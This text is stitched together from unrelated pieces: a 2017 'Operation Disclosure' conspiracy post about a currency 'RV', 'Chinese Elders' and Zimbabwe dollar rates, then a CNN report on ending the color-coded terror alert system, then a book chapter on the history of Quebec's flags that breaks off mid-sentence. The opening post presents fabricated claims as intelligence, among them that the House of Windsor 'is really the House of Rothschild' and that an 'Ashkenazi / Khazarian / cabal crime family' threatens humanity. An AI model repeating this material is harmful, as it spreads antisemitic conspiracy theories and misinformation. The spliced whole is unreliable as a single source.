out final details now across all 27 members, finally, but at the last possible second.3. The entire balance of power across Europe is shifting today March 14 2017. Old constructs of culture and finance crumbling, never to be restored.4. Brexit's Article 50 initiation is waiting on Royal Assent approval from the House of Windsor (which is really the House of Rothschild) who is right now in a hard core horse trade for survival. www.thepeninsulaqatar.com/article/14/03/2017/From-referendum-to-green-light-for-Brexit 5. The East Coast snow storm did create a temporary delay for public safety. But it's minimal.6. All the global dominos are are set up to be push down all at once.7. The Israeli / Palestine issue has been settled, with the public announcements forthcoming post RV.8. The Chinese Elders will push the first domino at some point in time from the mountains above Beijing. Grandfather's call. Their gift. Our wait.D. March 14 2017 Yesterday's ZIM rate: ZWD RATE TODAY, 13 MARCH1 Zim = .00276319 USD, (or a 100 Trillion Zim note was worth $276,319,000)E. March 14 2017 3:30 am EST Intel by Whoof: "Intel Regarding the Admiral" by Whoof - 3.14.171. My source was told that the Admiral was paid yesterday in that he exchanged his currency and commenced the funding of the RV.2. Subsequently, and I'm not sure why, the Admiral then pays the Chinese which I was informed occured also.F. March 14 2017 8:34 am EST Geopolitical Op-Ed Israel and China: "The Silent War Between Israel and China" - Geopolitical Op-Ed - 3.14.171. By controlling the new global financial system and demanding one simple mandate: either be with the Elders (humanity) or be against them (humanity), no exceptions, the Chinese Elders have quietly gained control of the entire region of Israel utilizing the size and strength of Russian, Turkish, Syrian and Iranian military forces.2. Right now Egypt, Jordan, Syria, Lebanon, Iraq, Turkey and Iran have all joined forces and actively surround Israel's small military. m.jpost.com/#/app/article/483729 3. This report of advanced Russian build up in the Middle East is most likely true and done to reinforce an existential military threat against the nation of Israel. sputniknews.com/military/201703141051558320-russia-special-forces-egypt/ 4. The exact same military realty can be found in the Ukraine, the true home of Ashkenazi / Khazarian / cabal crime family members - for humanity or against humanity - their choice. blogs.timesofisrael.com/leaked-report-israel-acknowledges-jews-in-fact-khazars-secret-plan-for-reverse-migration-to-ukraine/ 5. This is why Israel will suddenly and miraculously settle with Palestine, and come to a lasting peace between two sovereign nation states that diplomatically recognize one another. m.jpost.com/#/app/article/484113 6. Otherwise the Zionist nation that is Israel, with recent origins only going back to 1917, will be completely annihilated and it's holdings and territory fully returned to the Palestinian Authority. thejerusalemconnection.us/blog/2013/01/08/according-to-international-law-is-israel-illegal/ 7. The Elders want lasting peace so they are prepared for perpetual war should the Israelis/Ukrainians/Khazarians ever feel the need to dominate world affairs again.8. The masses of global population are none the wiser. This is not a display of soft power, it's an invisible declaration of absolute power to avoid another world war.Source: Operation DisclosureSource:"FBI: New Evidence From Anthony Weiner Will See Clinton 'Locked Up For Life'"
-Washington (CNN) -- The much-maligned, color-coded Homeland Security Advisory System is about to be consigned to the proverbial dustbin of history.  Not that anyone is really paying attention.  Homeland Security Secretary Janet Napolitano is expected to announce Thursday that the almost 9-year-old threat alert system will go away in April. It will be replaced by the new National Terror Advisory System that will focus on specific threats in geographical areas, a department source said Wednesday.  The source did not provide details of the new system, which Napolitano will unveil at what the department is calling "the first annual 'State of America's Homeland Security' address" at George Washington University.  The top Democrat and Republican on the House Homeland Security Commission reacted positively to the news, although committee chairman Rep. Peter King, R-New York, reserved judgment on the specifics.  "Though the system served a valuable purpose in the terrible days and months following the terrorist attacks of September 11, it was clearly time for the current color-coded system to be replaced with a more targeted system," King said. "I know they have been working on this for a long time. It sounds to me like the changes they are proposing make sense. We will have to wait and see how they implement this new, more targeted system. I expect the biggest challenge for DHS will be balancing the need to provide useful and timely information with the need to protect sensitive information."  "The old color coded system taught Americans to be scared, not prepared," said ranking member Rep. Bennie Thompson, D-Mississippi. "Each and every time the threat level was raised, very rarely did the public know the reason, how to proceed, or for how long to be on alert. I have raised concerns for years about the effectiveness of the system and have cited the need for improvements and transparency. Many in Congress felt the system was being used as a political scare tactic -- raising and lowering the threat levels when it best suited the Bush administration."  President George W. Bush established the Homeland Security Advisory System by presidential directive on March 11, 2002, just a few months after the 9/11 terrorist attacks in New York and Washington. The five levels -- green for low, blue for guarded, yellow for elevated, orange for high and red for severe -- were intended to identify the risk of terrorist attack.  The initial level was yellow, which the system retained until September 11, 2002, when it was raised to orange to cover the first anniversary of the attacks. It was lowered back to yellow on September 24.  In its lifetime, the threat level has been raised to orange/high five times, although it went to that level three other times for specific industries. The threat level was raised to red/severe once -- on August 10, 2006, and only for commercial flights from the United Kingdom to the United States -- when British authorities announced they had disrupted a major plot to blow up aircraft. The level went down to orange on August 16, 2006, where it remains.  The general threat level is yellow/elevated. The two lower levels have never been used, and task force looking at the system recommended in 2009 eliminating them altogether and making yellow the lowest threat level but renaming it "guarded."  Almost from the start, the threat level system was the butt of jokes and multiple parodies.  The "Democracy Threat Advisory Level" went from green/low ("Wow, clean money systems really work") to red/severe ("Martial law, but it's for your own good").  A "Total Headcase Advisory System" began with "George Soros is arrested" and ended with "Hillary Clinton is elected president." Still another announced that Homeland Security and Crayola had jointly revised the system, changing green to aquamarine, blue to raw umber, yellow to burnt sienna, orange to neon carrot and red to cotton candy.  The public didn't care much for the system either, with polls conducted at the time indicating most Americans found it confusing and not very useful.  More seriously, however, some critics accused the Bush administration of using using the system to generate fear at politically sensitive times, such as just before the 2004 election. And just days after his 2005 resignation, then-Homeland Security Secretary Tom Ridge told a Washington forum that he sometimes disagreed with the rationale for raising the alert but was overruled by others on the Homeland Security Advisory Council, which made the decisions.  The council included Attorney General John Ashcroft, FBI chief Robert Mueller, CIA director George Tenet, Defense Secretary Donald Rumsfeld and Secretary of State Colin Powell.  "More often than not we (the department) were the least inclined to raise it," Ridge told reporters after the forum. "Sometimes we disagreed with the intelligence assessment. Sometimes we thought even if the intelligence was good, you don't necessarily put the country on (alert). ... There were times when some people were really aggressive about raising it, and we said, 'For that?' "  And in 2009, Ridge wrote in a tell-all book that sometimes officials such as Ashcroft and Rumsfeld pressured the department to change the level, describing a 2004 event in which his arguments against raising the alert worked.  "I believe our strong interventions had pulled the 'go-up' advocates back from the brink. But I consider the episode to be not only a dramatic moment in Washington's recent history, but another illustration of the intersection of politics, fear, credibility and security," he wrote.  "After that episode, I knew I had to follow through with my plans to leave the federal government," he wrote.  Ridge announced his resignation on November 30, 2004, and left office on February 1, 2005.  The Bush administration denied Ridge's assertions, however.  "Nobody's more surprised than I am," then-Homeland Security adviser Fran Townsend told CNN's Wolf Blitzer. "Of course, Tom Ridge never expressed those concerns while he was in the administration, nor did he when I spoke to him after he left ... (He) wasn't the only one in that meeting who suggested the terror alert shouldn't be raised. At no time was there a discussion of politics in that meeting. And the president was made a consensus recommendation from the council that he accepted -- not to raise the terror alert."  Townsend is now a national security contributor for CNN.  CNN's Fran Townsend contributed to this report
-This is the chapter entitled, Quebec, from the book,  The Flags of Canada, by Alistair B. Fraser.  This work is copyrighted. All rights reserved.  The Provinces  Chap XV:  QUEBEC JE ME SOUVIENS  (I remember)  Motto of Quebec  THE FLEUR-DE-LIS AND THE CROSS  ...que V. Majesté croissant d'aage et de zèle puisse un iour arborer l'estendart  de la Croix avec ses fleurs de lys Royales, aux terres les plus escartées des Infideles... 1  [...that as Your Majesty's years and zeal increase, you may one day plant  the standard of the Cross with its Royal fleurs-de-lis upon the most distant Infidel lands...]  Pierre Baird, 1611 (Jesuit missionary in Québec, speaking of the young Louis XIII)  Extended by tradition back to fifth century France, the fleur-de-lis was first used as a royal device by Louis VI (1108-1137). He affixed it to his seal, his coins, his cloths, and his flag. The latter, called the Bannière de France displayed the fleurs-de-lis spread (semé) over a rectangular field of blue, a colour which recalled the cloak of the renowned fourth century bishop, Saint Martin. After the Bannière had been used for two centuries in this form, Charles VI (1380-1422) reduced the number of fleurs-de-lis to three-apparently in honour of the Holy Trinity.2  In mediaeval France, the Bannière took on many of the characteristics of a national flag, for, although it was a banner of royal authority, it was used extensively on land and at sea.3 However, by the time of the settlement of New France it was falling into disuse. With the exception of momentary appearances at three subsequent royal events within France, the Bannière effectively vanished with the death of Henry IV in 1610. Indeed, by the time of the French Revolution in 1789, it had been forgotten for so long that the revolutionists even neglected to have it desecrated as a royal symbol.4  There is no record that the Bannière, itself, was ever used in what is now Canada, despite imaginative latter-day artistic renderings to the contrary.5 Rather, almost universally, everyone from explorers like Cartier, La Salle and La Vérendrye who were marking territory, to local officials at Québec, Montréal, and Trois-Rivières, who were erecting gates and buildings, used the Royal Arms.6 Not that the graphic design was any different - the Bannière being but the banner of these Royal Arms - but it remains that French practice more commonly relied upon the greater permanence of arms than the ephemerality of flags. Thus, although the fleur-de-lis did not appear on the Bannière in New France, and, indeed, only rarely upon other flags, this royal mark was well-known during the old régime.  Nevertheless, the fleurs-de-lis did appear upon the very first flag to fly over Québec: the little swallow-tale pennant appearing in Champlain's illustration of his Abitation. It is sometimes assumed that this illustration shows the Bannière, itself. However, graphic design is not the only thing that distinguishes a flag; shape is also crucial, and Champlain's pennant is not rectangular. Although clearly derived from the Bannière, it appears to be one of the battlefield standards, or étendard, which was employed during the reign of Henry IV (1589-1610).7  On his ships, though, Champlain's flags bore a cross rather than the fleurs-de-lis. The ship illustrations on his map of 1612 show what seems to have been an early use of the flag of the French merchant marine: a white cross on a rectangular blue field.8 The use of a distinctive cross on a flag as a sign of national identity started in 1188, when on January 13, the kings of France, England, and Flanders settled on the colours they would use in the ensuing Crusade. Initially, the French cross was red on white, while the English was white on red, yet by 1277, England had reversed its colours to give the present Cross of Saint George. Then by 1375, France also reversed its colours, probably in response to the English, and from that time until the revolution, the white cross was a symbol of France.9 The present flag of Quebec emerges from Champlain's flags if a fleur-de-lis from the étendard on his Abitation is placed in each quadrant formed by the cross on the merchant flag of his ship.  But that is not the end of the story, for there was no continuity in the use of the fleur-de-lis upon flags in the three hundred and forty years between the foundation of the Abitation de Québec in 1608 and the adoption of the flag of Quebec in 1948. Upon flags, at least, the fleur-de-lis fell into an period of neglect which amazingly lasted over two centuries. The decline was under way soon after the foundation of New France as its inhabitants had begun to view a flag of white as an emblem of the French nation even during Champlain's lifetime.  LE DRAPEAU BLANC  Nous lui repondîmes tous, sans hésiter, que nous étions  nés sous le pavillon blanc, et que nous voulions y mourir. 10  [We all replied to him, without hesitation, that we were  born underthe white flag and that we wished to die there.]  Robert Chevalier dit Beauchêne, c. 1715  (an Acadian privateer, born in Montréal in 1686)  Joan of Arc strongly influenced France to think of white as the principal national colour when she used it as the field of her banner. As she commented at her trial for heresy and sorcery on February 28, 1431:  I had a banner of which the field was sprinkled with lilies; the world was painted there, with an angel at each side; it was white of the white cloth called 'boccassin'; there was written above it, I believe, 'JHESUS MARIA'; it was fringed with silk. 11  As white gradually became firmly established as a national colour, it replaced other colours upon royal, regimental, and naval flags. There it remained until the French Revolution. At sea, the White Flag was also often flown by the merchant marine "pour en tirer avantage dans leur commerce et Navigation."12 This occurred, despite the fact that the White Flag was reserved for the navy and that the merchantman were required, prior to 1661, to fly the blue flag with the white cross as had Champlain, or later, the same flag with an inescutcheon of the royal arms.  It was probably this use of the White Flag by merchantmen which identified it with the nation for those at Québec. In July 1632, Père Le Jeune described the return of some settlers after a three-year absence forced by English privateers:  Quand ils virent arriver ces pavillons blancs sur les mâts de nos vaisseaux, ils ne sçavoient à qui dire leur contentement... 13[When they saw the arrival of those white flags on the masts of our vessels, they could find no adequate way to express their happiness...]  Although at first the White Flag would have been seen primarily on ships, by 1656 it had spread to the land in the colony.14 A few years later in 1663, Louis XIV had proclaimed New France a royal colony and so changed its status from that of a commercial fiefdom. Now the royal purse could pay for the defense against the Iroquois with the result that in 1665 the Régiment de Carignan-Salières brought the White Flag to the forts it built along the Richelieu River.  Across New France, from forts in Acadia to ships on Lake Ontario, the White Flag soon flew. That it was the recognized symbol of France was evident to all: in 1714, the English recaptured Fort Nelson on Hudson's Bay, and General Knight wrote,  One of the Indians came to me when I hoisted the Union flag: he told me he did not love to see that, he loved to see the white one, so there are many Indians here who have great friendship with the French. 15  The White Flag was usually seen plain, but sometimes it bore either golden fleurs-de-lis or the royal arms; occasionally it bore both to form what was then the Royal Flag of France. Although records of such flags are rare, it is known that on December 3, 1738, when La Vérendrye entered a western fort in what is now Manitoba or western Ontario, he was preceded by a white pavillon painted with the Arms of France.16  Despite these variations, and despite the fact that the plain White Flag was officially the flag of the French navy, the inhabitants of New France identified with it from the early years until the fall of the French Régime.  After the transition to British rule, either the Union Flag or the (plain) Red Ensign replaced the White Flag upon official structures in Quebec. However, not only are these flags discussed thoroughly elsewhere, but the flags of greatest interest for Quebec are those which arose from the aspirations of the Canadiens.  For an amazingly long time, those aspirations were not to be expressed with the fleur-de-lis. Although this symbol was to become dominant in the twentieth century, in the late eighteenth and early nineteenth century, it had virtually vanished from consciousness. Not only had the fleur-de-lis rarely been seen upon flags during the French Régime, but any of the Royal Arms which had not been purged in 1759, were in 1775 ordered removed from "every Church or Court where they may at present remain."17 Indeed, even the motherland had vanished as a source of renewal of the fleur-de-lis, for when France went republican in 1789, it expunged all of its old symbols. In the twilight of the eighteenth century, it is doubtful that an bookmaker would have given the fleur-de-lis much of a chance for a comeback.  Yet, the absence of an appropriate symbol, did not mean the absence of the desire for a flag. As the historian, Benjamin Sulte, described the situation as it was in 1807,  On exprimait déjà d'un côté le voeu d'avoir un drapeau canadien (canadien-français) et, d'autre part, on prétendait que celui de l'Angleterre nous devait suffire, de même que celui de la mère-patrie nous avait suffi sous le gouvernement français. 18 [Already, some expressed the wish to have a Canadian (French-Canadian) flag, although others claimed that the flag of England should suffice, just as that of the motherland had sufficed during the French régime.]  But what should that Canadian flag be? The question prompted little response for the next quarter-century, but from 1832 until the beginning of the twentieth century various symbols competed vigorously for the position of honour. The 1830s were years of considerable political unrest and the strong feelings erupted in a profusion of flags that were characterized as much by what they were not, as by what they were; the flags recalled neither royalist France nor the United Kingdom; some recalled either revolutionary France or the United States; others, significantly, evoked Canada, itself.  THE PATRIOTE PERIOD  The very first of these flags is notable as (what is probably) the longest-lasting indigenous Canadian flag: the Patriote Flag. Still in use today in Montréal by the Société Saint-Jean-Baptiste (SSJB), this flag was inspired by the French Tricolore, but its design was distinctive: a horizontal tricolour of green over white over red. Created in 1832 by the Patriotes, the primary Francophone political party of the day, its reference to republican France, and to other conquered peoples-the green represented the Irish-spoke eloquently of the struggle for representative government in Lower Canada. From the beginning, the Patriote Flag proved popular: it was used by the SSJB from the inception of the society in 1834.19  Despite the fact that the Patriotes dominated the elected House of Assembly, most of the power was held by the appointed Legislative Council. An appeal to the British Government to make the system more democratic was rejected, and March of 1837 the power of the Assembly was further eroded when the governor of Lower Canada was even authorized to bypass them on budgetary matters. The resulting resentment was expressed through words, rallies, rebellion, and many more flags.  On June 1, 1837, the leader of the Patriotes, Louis-Joseph Papineau, was led into an assembly at Ste-Scholastique behind the Patriote Flag, which had been adorned with a maple leaf, beaver, and muskellunge. Another flag bearing maple leaves, and apparently prepared for this gathering was the one carried the following December 14 by the Patriotes in the battle of Saint-Eustache. This assembly in June marked the first appearance of any indigenous Canadian symbols on flags, and, in particular, the first appearance on flags of maple leaves.  The maple leaves were not uniformly used as an appeal to nationalism: one flag showed a branch of maple leaves in the claws of a Canadian eagle which was winging its way to a star representing the U.S.A. Unless the graphical message was not already abundantly clear, it also bore the inscription "NOTRE AVENIR" [ OUR FUTURE ]. Another flag appealed to the same destiny with stars and an American eagle.  Throughout, these and other flags made a strong appeal for democracy in Canada. The principal flag, however, remained the green-white-red tricolour of the Patriotes, and, on October 23, 1837, it was adopted as the flag of the rebellion. But the rebellion failed, and the flags, like the Patriotes, retreated from the scene. Nevertheless, from the point of view of symbols, the decade was a period of a glorious awakening of Canadian flags. And if the designs sometimes spoke of other lands, their basic appeal for democracy was laudable.  In the 1840s the symbolic ground shifted away from the Patriote Flag. Not that the only recently established practice of embellishing flags with Canadian symbols changed, although the beaver did seem gradually to lose ground to the maple leaf as the century progressed. Rather, the change was in the basic pattern which shifted to European French design, either royalist or republican, with the republican dominating the rest of the century.  THE TRICOLORE TRIUMPHS TEMPORARILY  This move was under way as early as 1842 when the just founded Société Saint-Jean-Baptiste in Québec chose a vertical bicolour of green and white rather than the Patriote Flag. Then, in 1844 the SSJB in Montréal switched from the Patriote Flag to the French Tricolore, and later the same year the newly founded Institute Canadien adopted it also. Later (in 1888), the Québec SSJB was even to drop its green-and-white and join the Tricolore ranks.  The use of the Tricolore was given a boost with the outbreak of the Crimean War in 1853. Britain and France were allies in this battle against Russia and so flying it became at once pro-French and pro-British. From this time until it began to lose ground to a royalist symbol early in the twentieth century, the revolutionary Tricolore was the flag favoured by most French-Canadians. Although the flag was usually seen plain, in Quebec the white pale sometimes sported maple leaves, a beaver, or both. Outside Quebec, the Acadians created their own flag in 1884 by adding the golden Stella Maris [ Star of Mary ] at the top of the blue pale.  The 1840s not only brought the Tricolore, they also brought the royalist symbol which was eventually to trounce the Tricolore. In one of the most remarkable symbolic rebirths of all time, the fleur-de-lis reentered Quebec consciousness in an almost bizarre fashion.  However, insofar as there is such reference to a historic past, the peculiarity  of 'invented' traditions is that the continuity with it is largely factitious. 20  Eric Hobsbawm, 1983 (British historian)  Although the fleur-de-lis had rarely appeared on a flag since the days of Champlain over two centuries earlier, and although it had sunk so far into obscurity that it had taken not so much as the smallest part in the rise of nationalist flags in the 1830s, yet, in the 1840s it abruptly began to be promoted as the strident symbol of yesteryear. Driven by a yearning for a symbolic identity, the public transformed a confected tradition into a real tradition and in the process transformed the fleur-de-lis into the symbol of the people of Quebec in a way in which it had never been the symbol of the people of France: today, the fleur-de-lis is Quebec. To understand how this transformation came about, it helps to return to the eighteenth century to trace the remarkable fortunes of a religious hanging, or banner, which came to be known much later as the Carillon.  Often displayed in churches or carried in processions, banners have long been used to express religious principles and to enhance religious ceremonies. Typically, such religious banners were hung from a crossbar attached to a vertical pole, and, in the early eighteenth century when the Carillon was apparently made, their use was common. The Carillon, measuring two metres wide by three metres high, was made with three strips of what once must have been white silk.21 The centre of one side is dominated by a full length image of the Virgin Mary holding the Infant Jesus, while the other bears the royal arms of France. Crucial for the present story are the fleurs-de-lis which grace the four corners of each side; while all are upside-down, the top ones point inwards, the bottom ones, outwards.  Early in the Seven Years' War (1756-63) the Carillon probably resided in a chapel at one of the two French forts on the shores of the upper end of Lake Champlain.22 Fort Saint Frédéric (known to the Americans as Crown Point) and Fort Carillon (Ticonderoga) had been built to protect the Saint Lawrence Valley from an approach by the British down Lake Champlain and the Richelieu River. A field about a kilometer inland from Fort Carillon was the site, on July 8, 1758, of the last major French victory when the forces under Montcalm soundly defeated an Anglo-American force of over four times its size. However, subsequent military reversals caused a French withdrawal from both forts the following summer. The retreat was not hurried, and items, such as the Carillon Banner, which were not destroyed to keep them out of enemy hands, where transported north.  Although it is tempting to assume that the Carillon would have resided at the fort of the same name, not only is the banner's name an unreliable guide as it arose nearly a century after the forts' abandonment, but the best, albeit indirect, evidence suggests that the banner would have been at Fort Saint Frédéric. It seems that Father Jean-Antoine Depéret, the chaplain there, carried the banner north upon the abandonment of the fort in 1759, and then turned it over to another military chaplain and Recollet priest, Father Félix Berey des Essarts, who, in turn, deposited it in the church of the Recollets, in Québec. There it remained until rescued by Brother Louis-François Martinette from a fire in the monastery in 1796. Brother Louis kept it in a coffer in his attic until, upon his deathbed in 1848, he gave it to Louis de Gonzague Baillairgé, a young lawyer who had been trying to locate the banner after hearing stories of it.  In transferring the banner to Baillairgé, Brother Louis allowed that it was rumored to have had a heroic provenance: "a torn and tattered flag which, it was said at the convent, had seen the fire of Carillon."23 Baillairgé then displayed his preference for certitude over certainty as speculation was transformed in his mind into fact. Soon, the religious banner had been transformed into a battle standard, and a few months later, when it was carried in the procession of the SSJB, it was incontrovertibly presented as "the flag under which our ancestors gained renown at the Battle of Carillon."24 Indeed, under the persistent proselytization of Baillairgé, the primary symbolic value of the banner, incongruously dubbed the Drapeau de Carillon, was that it was a relic of a glorious past when Canadians fighting under its folds had played a brilliant part in the defeat of the enemy. In an age earnestly seeking an identifying symbol, here seemed to be one of truly heroic proportions. As the public stock of the Carillon climbed, so, too, the fleur-de-lis it bore arose from the ashes to assume a legendary past it had never experienced.  In fact, Canadians had really played only a marginal role that grand July day in 1758: the Battle of Carillon was won by the French regulars. Canadians occupied only seven percent of the French force, and in their position on the right flank were never directly attacked. Further, although a contemporary source clearly shows the flags of the French regulars, it reveals none for the Canadians;25 nor would it have been easy for them to carry such a large banner as the Carillon for they were stationed in a forest. Indeed, there is every indication that at no time had the Canadian militia ever used flags or banners.26  Over the years there were many people who did not accept Baillairgé's fanciful and self-promotional version of events, but it was only after his death in 1896 that others were allowed to examine the Carillon in detail. In 1905, after it had been repaired at the Québec Seminary, a former superior there commented, "I have never been able to see in that relic that we guard so carefully here, anything but a banner carried in religious processions."27 Finally in 1915, historian, Ernest Gagnon published a learned article which dismantled the myth Baillairgé had woven.28 But it was too late: the juggernaut was rolling; the Tricolore had been displaced; and the fleur-de-lis now truly did wear the mantle of Quebec history.  To leave the story here, would be to neglect another important, and independent, source of renewal for the fleur-de-lis in Quebec: heraldry. Short of religion, there are few human activities that possess as long and carefully nurtured a memory as does that of heraldry. In 1868, just following Confederation, Quebec received arms by royal warrant. Appearing on a gold field in the chief were two blue fleurs-de-lis which now served to give the device its first official approval in over a century. However, unlike the situation in every other province but Newfoundland, in Quebec, the arms did not play much of a role in influencing the design of the provincial flag.  In 1848, when the fleur-de-lis was reintroduced into Quebec society by the lawyer, Baillairgé, the Tricolore was ascendant, but slowly, the fleur-de-lis began to take hold. During the British-French alliance of the Crimean War, a frigate, La Capricieuse, became the first French naval vessel to sail up the St. Lawrence since the defeat of 1759-60. It was greeted at Québec with much fanfare by a panoply of officials, troops, Indians, and numerous sections of the SSJB. Many of these groups lofted flags and the Tricolore abounded, but among them, some students from the Seminary of Québec carried colourful flags bearing the fleur-de-lis.29 From that time until the end of the century, there was a sporadic but gradual increase in the use of fleurs-de-lis on flags in Quebec.  For most of the rest of the nineteenth century, the contest over the flags was but one aspect of a battle fought on many fronts between ultramontanism and liberalism in Quebec. The ultramontanes, a conservative Catholic group who espoused the supremacy of the church over the state, generally promoted the old royalist symbol of the fleur-de-lis. The liberals, inspired by the democratic, republican and free-thinking ideas which emerged from the American and French revolutions, advocated the Tricolore. The ideologies of the ultramontane never triumphed and were finally dismantled in the mid-twentieth century by Vatican II and the quiet revolution. Nevertheless, there is a irony in the fact that the symbol they supported was to win even though there cause was lost.  What had been, in the nineteenth century, a trickle of fleur-de-lis flags, became, with the turn of the twentieth century, a veritable flood-a flood probably driven as much by the imperialism of anglophones as by the nationalism of francophones. In the 1890s, Canadians of both stripes had often displayed their nationalism (Canationalism?) by flying the Canadian Red Ensign. While fundamentally a British flag, it did bear a distinctive Canadian badge on the fly, and that badge did include the arms of Quebec. But among anglophones, an imperialist mood was gaining ground, driven, in part, by the patriotism engendered by the desire to fight alongside the motherland in the South African War (1899-1902). Amidst this wave of jingoistic imperialism, the Union Flag became canonized as the symbol of the British Empire. Until recently, this flag had taken a distant second to the more nationalistic Canadian Red Ensign, but now it swept the ensign aside in a mood that made the Union Flag de rigueur for all right-thinking Canadians to fly.  Inexplicably (that is, for anglophones), the French-Canadians just failed to understand the compelling virtue of adding the Boers to the long list of Britain's subjugated peoples. This incomprehension lead to the Montréal riots of March 1900, during which, the students of McGill University took it upon themselves to make sure that shops, newspapers, city hall, and the Université Laval, all adopted right-thinking attitudes and flew, if necessary by force, the Union Flag.30 Such microcephalic thinking was unfortunately not limited to the students: the Ontario press savagely excoriated French-Canadians for not possessing the proper imperial attitude.31 This environment cannot but have added an urgency to the need francophones already felt for a flag which would distinguish them from other Canadians.  FILIATRAULT'S FAVOURITE  The dénouement arrived on September 26, 1902 when Abbot Ephège Filiatrault hoisted a flag on his presbytery of Saint Jude at Saint-Hyacinthe. Anticipating the present flag of of Quebec, Filiatrault placed a fleur-de-lis in each quadrant formed by a white cross on a blue field. But, Filiatrault's fleurs-de-lis all pointed to the centre, while those on the provincial flag are erect. The inspiration for the Abbot's flag was unambiguous. As he described it in a pamphlet he published under the pseudonym of "un Compatriote":  Or, puisque le temps semble venu pour nous de nous créer un drapeau national, quels éléments convient-il que nous employions? -Avant tout, NOTRE BANNIÈRE DE CARILLON c'est-à-dire, son champ bleu et ses quatre fleurs de lis blanches. Pourquoi notre bannière de Carillon? - Parce que la bataille de Carillon est la seule qui soit restée légendaire parmi le peuple, à cause peut-être de la part brillante que nos pères y ont prise...32  [Now, since the time seems to have come for us to create our national flag, what elements is it suitable for us to use?- Above all OUR CARILLON BANNER that is to say, its blue field and its four white fleurs-de-lis. Why our Carillon banner? - Because the battle of Carillon is the only one that has stayed legendary among the people, on account of, perhaps, the brilliant part played by our fathers...]  So strongly had his design been influenced by what he believed to be the properties of that infamous banner, that Filiatrault's flag also was promptly, if somewhat confusingly, dubbed the Carillon. And, if most of Filiatrault's historical assertions were spurious-the Canadiens' participation in the battle of Carillon had not been significant; the banner had not been present at the battle; its field was not blue; his claim that the cross was inspired by those on the flags of the chevalier de Lévis (of the 1760 capitulation at Montréal) was just wishful thinking-nevertheless, Filiatrault's primary objective was beautifully fulfilled. He wanted the flag to use the symbols of the past to convey "les mânes de nos ancêtres...du pieux souvenir de leur postérité"33 [to posterity a reverent recollection of the spirits of our ancestors]. In this aim, he succeeded superlatively, and, if some of the ancestors were a little more distant than he had imagined-Champlain rather than Montcalm and Lévis-it is doubtful that Filiatrault would have minded.  Filiatrault had omitted the maple leaf and the beaver, not because they were inadequately Canadian, but rather because they were quintessentially Canadian. He was designing a flag for French Canadians, not for all Canadians.34 However, in looking at the beauty of his design, it is clear that he understood that elegant simplicity is paramount in effective flag design. Possibly, he was just seeking to do a better job than the then current version of the Canadian Red Ensign, the aberrant seven-province flag which presented a dog's breakfast of unrecognizability. Possibly, he just had a good eye. Not surprisingly, what happened next was not to the Abbot's taste.35  LE CARILLON-SACR&EACUTE;-COEUR  On March 24, 1903, some influential citizens of Quebec formed Le Comité du drapeau national de Québec [ The Committee of the National Flag of Quebec ] and decided that Filiatrault's flag was but a good start; what it really needed was the addition of a few more motifs: a sacred heart of Jesus and a wreath of maple leaves.36 This composite design was soon known by the equally composite name Le Carillon-Sacré-Coeur. Flag design by committee all too often produces a smorgasbord, as a little something is included to keep each faction happy.37 Abbot Filiatrault was not alone in his dislike for these modifications, but despite his objections, before long other modifications were proffered which added, say, a statue of the Sacré-Coeur de Montmartre, or the arms of Quebec with or without wreath, beaver and motto, and so it went. Indeed, completely new designs continued to be proposed in abundance right into the 1940s.38 One accepted for many years by the SSJB (Montréal) was designed by L.J.A.Derome about 1912.39 The upper hoist presented three golden fleurs-de-lis on blue, the lower hoist, a rampant lion on red, and the fly, an image of Saint John the Baptist replete with lamb, maple leaves and beaver.  But a strong campaign developed in favour of the Carillon-Sacré-Coeur which was backed not only by the influential citizens, but by many of the Sociétés Saint-Jean-Baptiste which, in both Canada and the United States, passed resolutions of support of it.40 The campaign was often conducted on a grand scale: on March 1905, the newspaper, La Verité, promoted the flag by printing and distributing 15,000 postcards, 60,000 stickers, 20,000 prints, 150,000 buttons and insignias, 76,000 flags of all sizes, of which 500 were over 5.5 metres in length.41  The promotion continued, and, in 1926, the Carillon-Sacré-Coeur received quasi-official approval as a law in the Legislative Assembly recognized it as the flag of the SSJB in the Québec diocese.42 This step followed hard on the heals of both the 1925 brouhaha in the federal Parliament over whether it was even acceptable to contemplate the possibility of a national flag for Canada, and the 1926 contest in La Presse, which recommended a British-pattern ensign for the country.43 It seems that once again, the vexillological uncertainties of the larger Canadian community, served to heighten the need to establish an appropriate symbol for Quebec.  Opposition to the retention of the sacred heart on what was fundamentally a civil flag remained, and support grew in the 1930s for a return to Filiatrault's Carillon flag.44 Yet, there is scant evidence that the Legislative Assembly would have settled the issue and created a provincial flag had not events at the federal level intervened to reveal, once again, the parochial nature of the country's leaders.  The Second World War, as wars are wont to do, heightened a sense of national identity. Although the Union Flag flew on the Parliament Buildings in Ottawa throughout, from the beginning there was a sense that it was not the flag under which Canadians wished to fight. The First Division went overseas under the Battle Flag of Canada, approved by the war cabinet in 1939. Even though this flag had not been designed by a committee, it contained a little something for everyone: the Union Flag in the canton, three red maple leaves in the centre, and three golden fleurs-de-lis on a blue roundel on the fly. The flag did not gain the approval of the troops, but it was a step in the right direction.  By early 1944, the Canadian Red Ensign flew officially at army and air-force bases overseas, and on September 5, 1945, it permanently replaced the Union Flag on the Peace Tower. In making these changes, Ottawa was following, albeit lagging far behind, public opinion in Canada. Those who had served overseas sought a solely Canadian flag-as a representative letter put it: "To the devil with the Fleur-de-lis and the Union Jack."45 That this sentiment was mirrored at home soon became evident, as, across the country, only 14% of the public were to include the Union Flag, and 7%, the fleur-de-lis, in the designs submitted to the Parliamentary flag committee in 1946.46  OTTAWA DITHERS  Prime Minister King had bowed to popular pressure in November, 1945 when he established the joint committee of the Senate and House to consider a suitable design for a distinctive national flag. Instructing the committee, Secretary of State Paul Martin asked that the flag of Canada be unlike any other, and in particular "symbolic of the country and of its position as a sovereign state".47 Reenforcing this position, the Legislative Assembly of Quebec unanimously beseeched the committee to choose "un drapeau véritablement canadien"48 [a flag that would be truly Canadian]. Along with the majority of Canadians elsewhere, Quebec sought a flag that excluded any sign of subjection, or colonialism. It was not to be; the committee lacked the courage to go against Mackenzie King's private instructions to the Liberal majority that they were to support his personal favourite: the red ensign with the golden maple leaf on the fly. The whole thing was a mummery, and in the end, Mr. King made some feeble excuses and the committee's subservient recommendations were shelved.  This caused the passionate Canadian, T.S. Ewart, to make the too general, but poignant remark:  Canadians are not yet sufficiently Canada-conscious to appreciate the necessity for a flag of purely Canadian design; the patriotism of very many of them is still given to the United Kingdom and only what is left is given to Canada. They do not consider, as do their French compatriots, that Canada is their homeland, their fatherland.  QUEBEC ACTS  But while anglophones, such as Ewart, lamented and chose to bide their time, francophones acted-if Canadians as a whole did not know who they were, at least the 